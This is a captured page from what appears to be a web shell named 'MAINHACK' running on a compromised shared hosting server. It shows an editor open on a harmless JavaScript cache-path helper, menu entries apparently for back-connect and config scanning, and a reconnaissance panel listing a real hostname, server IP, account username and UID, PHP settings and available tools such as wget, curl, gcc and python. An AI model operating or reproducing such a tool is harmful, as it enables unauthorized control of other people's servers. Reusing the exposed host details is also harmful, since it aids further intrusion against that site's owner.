[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: package.mjs
import { env } from "node:process"; import { dirname, join } from "node:path"; import { existsSync, mkdirSync } from "node:fs"; import { writable } from "empathic/access"; import * as find from "empathic/find"; /** * Find the closest "package.json" file while walking parent directories. * @returns The absolute path to a "package.json", if found. */ export function up(options) { return find.up("package.json", options); } /** * Construct a path to a `node_modules/.cache/<name>` directory. * * This may return `undefined` if: * 1. no "package.json" could be found * 2. the nearest "node_modules" directory is not writable * 3. the "node_modules" parent directory is not writable * * > [NOTE] * > You may define a `CACHE_DIR` environment variable, which will be * > used (as defined) instead of traversing the filesystem for the * > closest "package.json" and inferring a "node_modules" location. * * @see find-cache-dir for more information. * * @param name The name of your module/cache. * @returns The absolute path of the cache directory, if found. */ export function cache(name, options) { options = options || {}; let dir = env.CACHE_DIR; if (!dir || /^(1|0|true|false)$/.test(dir)) { let pkg = up(options); if (dir = pkg && dirname(pkg)) { let mods = join(dir, "node_modules"); let exists = existsSync(mods); // exit cuz exists but not writable // or cuz missing but parent not writable if (!writable(exists ? mods : dir)) return; dir = join(mods, ".cache"); } } if (dir) { dir = join(dir, name); if (options.create && !existsSync(dir)) { mkdirSync(dir, { recursive: true }); } return dir; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344